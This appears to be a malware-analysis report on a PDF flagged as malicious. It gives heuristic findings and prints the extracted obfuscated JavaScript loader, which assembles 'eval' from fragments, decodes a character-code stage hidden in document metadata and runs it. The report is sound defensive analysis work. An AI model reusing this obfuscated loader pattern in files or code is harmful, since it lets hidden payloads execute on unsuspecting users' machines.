MALICIOUS
86
Risk Score
Malware Insights
The PDF file contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The JavaScript action is likely intended to execute malicious code, although the specific payload is not discernible from the provided evidence. The document body contains a simple test string, suggesting the primary lure is the embedded script.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 3
-
Obfuscated Pidief-style JavaScript loader (stage not decoded) high PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADERPDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0001_000.js |
pdf-javascript-stream | PDF /JS object 1 at offset 0xB0A9 | 420 bytes |
SHA-256: c91ede9f3a6bd1b4019c17d099405614ce147bdc59cba7484568fdc3e21ebadc |
|||
Preview scriptFirst 1,000 lines of the extracted script
ejxk='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
oupoy=e('ti'+'tle');
s=oupoy.substr(t.length + 8,3)+'str';
q=oupoy[s](1,t.length + 7);
atonv=e(v[0].toUpperCase()+'tring.fro'+q);
q=oupoy[s](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
wahl = parseInt(q[i]) + parseInt(q[i+1]);
ejxk += atonv(wahl);
}
e(ejxk);
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.